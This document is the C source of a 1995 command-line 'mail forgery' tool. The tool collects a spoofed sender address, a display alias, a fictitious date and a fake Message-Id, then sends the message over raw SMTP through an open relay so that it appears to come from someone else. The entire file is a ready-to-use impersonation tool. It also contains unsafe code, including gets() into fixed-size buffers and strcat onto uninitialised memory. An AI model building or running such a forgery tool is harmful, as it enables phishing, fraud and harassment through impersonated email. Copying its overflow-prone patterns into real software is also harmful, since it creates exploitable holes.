------forgery.h---------

/* written by Loki D. Quaeler, would be nicer if it
 was written POSIX compliant - but it was written on
 a NeXT platform (notoriously POSIX shakey) 
 (copyfree 1995) 
 v1.1 (added Message-Id functionality) */

/* #define DBUG */

#include <stdio.h>
#include <strings.h>
#include <errno.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <time.h>

#define MAILPORT	25
#define	MAXLEN		256
#define SMTP_FROM	"MAIL FROM:"
#define SMTP_TO		"RCPT TO:"
#define SMTP_OPENING	"HELO"
#define SMTP_DATA	"DATA"
#define SMTP_CLOSE	"QUIT"
#define DEFAULTHOST	"cs.bu.edu"
#define BODYTO		"To:"
#define BODYFROM	"From:"
#define SUBJECT		"Subject:"
#define DATE		"Date:"
#define MSGID		"Message-Id:"
#define SMTP_EODATA	"."
#define GOOD_CONNECT_STR  "Sendmail"
#define BAD_NEWS	"500"
#define ALT_GOOD_CONNECT  "SMTP"

#define MAX_HOSTLEN	64
#define MAX_ADDRESSLEN	83
#define MAX_SUBJECTLEN  70
#define MAX_DATELEN	30

#define null(type) (type) 0L
#define NULL_STRING	""

#ifndef YES
#define YES     1
#define NO    0
#endif

int s;					/* socket number */ 
char buf[BUFSIZ+1];			/* global text data buffer     */
char relayHost[MAX_HOSTLEN];
char posedClient[MAX_ADDRESSLEN];
char recipient[MAX_ADDRESSLEN];
char subjectLine[MAX_SUBJECTLEN];
char messageId[MAX_SUBJECTLEN];
char dateString[MAX_DATELEN];
char fromAlias[25];
char *body;

------forgery.c--------
/* by Loki D. Quaeler - copyfree 1995 */

#include "forgery.h"

/*~~[ call_socket ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  Connect to port MAILPORT on host 'hostname', returning the socket
  value.  Return -1 on any errors.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
int call_socket(hostname)
  char *hostname;
{
	struct sockaddr_in sa;
	struct hostent *hp;
	int a, sock;
	char realHost[MAX_HOSTLEN];

	sprintf(realHost,"%s",( (strcmp(hostname,NULL_STRING)) ? hostname : DEFAULTHOST ));

#ifdef DBUG
  printf("Entered call_socket, hostname = %s\n", realHost);
#endif

	if ((hp=gethostbyname(realHost))==NULL)
		{ errno=ECONNREFUSED;
		  return(-1); }
	bzero(&sa, sizeof(sa));
	bcopy(hp->h_addr, (char *)&sa.sin_addr, hp->h_length);
	sa.sin_family = hp->h_addrtype;
	sa.sin_port = htons((u_short)MAILPORT);

	if((sock=socket(hp->h_addrtype, SOCK_STREAM, 0)) < 0)
		return(-1);
	if(connect(sock, &sa, sizeof(sa)) < 0)
		{ close(sock);
		  return(-1); }
#ifdef DBUG
  printf("Exiting call_socket correctly, socket = %d\n", sock);
#endif
	return(sock);
}

/*~~~[ readln ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  Read all characters from socket s until a newline.  Put resulting
  string in buf, ignoring all after the BUFSIZ'th character.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
int readln(buf)
  char *buf;
{
	int to=0;
	char c;
	
#ifdef DBUG
  printf("Entering readln\n");
#endif 

	do {
		if(read(s, &c, 1)<1) 
			return(0);
		if((c >= ' ') || (c <= 126))
			if(to<BUFSIZ-1) 
				buf[to++] = c;
	} while (c != '\n');

	buf[to] = '\0';
   
#ifdef DBUG
  printf("buf = %s", buf);
  printf("Exiting readln correctly\n");
#endif

	return(1);
}

/*~~[ writeln ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  Send contents of buf to socket s.  Return 0 if the entire buf 
  wasn't written.  Return 1 on a successful write.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
int writeln(buf)
  char *buf;
{
	int to=0;

#ifdef DBUG
  printf("Entered writeln\n");
  printf("buf = %s\n", buf);
#endif

/*	buf[BUFSIZ] = '\0'; */
	if( write(s, buf, strlen(buf)) < to )
		return(0);

#ifdef DBUG
   printf("Exited writeln correctly.\n");
#endif

	return(1);
}

/*~~[ main ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  Yes, main.  amazing.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
main()
{
	char inputString[BUFSIZ],outputString[BUFSIZ];
	char *dataBody;
	char primaryHost[MAX_HOSTLEN];
	int n;
	
	printf("\n\nWelcome the mail forgery Process...\n");
	printf("\t-  After all data is entered, a confirmation entry will be\n\t\tasked for before the actual connection is made.\n\n");
	printf("~ Mail will be From (user@address): ");
	gets(posedClient);
	sscanf(posedClient,"%*[^@]@%s",primaryHost);
	printf("~ To (user@address): ");
	gets(recipient);
	printf("~ Subject: ");
	gets(subjectLine);
	printf("~ Enter fictitious date (example format: Wed, 15 Feb 1995 15:51:48) or hit\n   return to use current time and date: ");
	gets(dateString);
	printf("~ You may enter a name to precede the from address in the body text\n   (ie From: Benedict Arnold <satan@hell>) or hit return to use only the\n   address: ");
	gets(fromAlias);
	printf("~ Message-Id (ex: 199502240059.QAA02505@ese.UCSC.EDU): ");
	gets(messageId);

	printf("~ Enter the body below, enter ctrl-d on a blank line to end text entry.\n---------\n");
	body = (char *)malloc(2);
	sprintf(body,"\n");
	while (gets(inputString) != NULL)
		{ if (! strcmp(inputString, SMTP_EODATA))
			sprintf(inputString,"%s.",SMTP_EODATA);
		  body = (char *)realloc(body,((strlen(body) + strlen(inputString) + 2) * sizeof(char)));
		  strcat(body,inputString);
		  strcat(body,"\n"); }
	clearerr(stdin);

	printf("\n---------\n~ The application will attempt to contact the default relay server,\n   %s, you may enter another machine or hit return now: ", DEFAULTHOST);
	gets(relayHost);

	printf("\n**This is the last chance to back out.\n\tContinue with the forgery Process (yes/no)? [no]:");
	gets(inputString);
	if (strcmp(inputString,"yes"))
		{ printf("Process was aborted.\n");
		  exit(0); }
	
	printf("-----\nContinuing...\n");
	
	/* build data body chunk */

	printf("  Building data body...\n");

	if (! strcmp(dateString,NULL_STRING))
		{ time_t dummyT;
		  
		  dummyT = time(NULL);
		  strftime(inputString,BUFSIZ,"Date: %a, %d %b %Y %H:%M:%S\n",localtime(&dummyT)); }
	else
		sprintf(inputString,"%s %s\n",DATE,dateString);

	dataBody = (char *)malloc(sizeof(char)*(strlen(inputString) + 1));
	strcat(dataBody,inputString);

	if (! strcmp(fromAlias,NULL_STRING))
		sprintf(inputString,"%s %s\n",BODYFROM,posedClient);
	else
		sprintf(inputString,"%s %s <%s>\n",BODYFROM,fromAlias,posedClient);
	
	dataBody = (char*)realloc(dataBody,(strlen(dataBody) + strlen(inputString) + 1) * sizeof(char));	
	strcat(dataBody,inputString);
	
	sprintf(inputString,"%s %s\n",SUBJECT,subjectLine);
	dataBody = (char*)realloc(dataBody,(strlen(dataBody) + strlen(inputString) + 1) * sizeof(char));	
	strcat(dataBody,inputString);
	
	sprintf(inputString,"%s %s\n",BODYTO,recipient);
	dataBody = (char*)realloc(dataBody,(strlen(dataBody) + strlen(inputString) + 1) * sizeof(char));	
	strcat(dataBody,inputString);
	
	sprintf(inputString,"%s <%s>\n",MSGID,messageId);
	dataBody = (char*)realloc(dataBody,(strlen(dataBody) + strlen(inputString) + 1) * sizeof(char));	
	strcat(dataBody,inputString);
	
	dataBody = (char*)realloc(dataBody,(strlen(dataBody) + strlen(body) + 1) * sizeof(char));	
	strcat(dataBody,body);

	printf(" Attempting to contact mail relay...\n");
	
	if (! contact_relay())
		{ printf("  Not able to connect to relay host.. Process halted.\n");
		  exit(0); }
	else
		printf("  Relay contacted, connection accepted...\n");
	
		/* speak that protocol slang */

	printf("  Exchanging protocol slang...\n");

	sprintf(buf,"\n");
	writeln(buf);

	readln(outputString);
	
	sprintf(buf,"%s %s\n",SMTP_OPENING,primaryHost);
	writeln(buf);
	
	readln(outputString);   /* don't error check hello - inconsequential, and
				   may throw a 500 if it is smtp friendly due to
				   extraneous socket junk left over from handshake */

	sprintf(buf,"%s<%s>\n",SMTP_FROM,posedClient);
	writeln(buf);
	
	readln(outputString);
	if (strstr(outputString,BAD_NEWS))
		printf("\t ~~ Unrecognized command at %s\n", SMTP_FROM);
	
	sprintf(buf,"%s<%s>\n",SMTP_TO,recipient);
	writeln(buf);
	
	readln(outputString);
	if (strstr(outputString,BAD_NEWS))
		printf("\t ~~ Unrecognized command at %s\n", SMTP_TO);
	
	sprintf(buf,"%s\n",SMTP_DATA);
	writeln(buf);
	
	readln(outputString);
	if (strstr(outputString,BAD_NEWS))
		printf("\t ~~ Unrecognized command at %s\n", SMTP_DATA);

		/* monitor force feed of body into buf.... */

	printf("  Passing the body of mail...\n");

	writeln(dataBody);
	
	sprintf(buf,"\n%s\n", SMTP_EODATA);
	writeln(buf);
	
	readln(outputString);
	if (strstr(outputString,BAD_NEWS))
		printf("\t ~~ Unrecognized command at end of data send.\n");

	printf("  Closing connection...\n");
	
	sprintf(buf,"%s\n", SMTP_CLOSE);
	writeln(buf);
	
	readln(outputString);
	if (strstr(outputString,BAD_NEWS))
		printf("\t ~~ Unrecognized command at end of data send.\n");
	else
		printf("Received good acknowldegment\n");

	close(s);
	
	printf("------\nFinished... copy of sent message follows\n------\n%s\n------\n",dataBody);
	
	exit(0);
}

int contact_relay()
{
	char serverSpew[BUFSIZ];
	int i;

	if ((s=call_socket(relayHost))==-1)
			return 0;

	do {
		readln(serverSpew);
	} while ((! strstr(serverSpew,GOOD_CONNECT_STR)) && (! strstr(serverSpew, ALT_GOOD_CONNECT)));

	
	return 1;
}



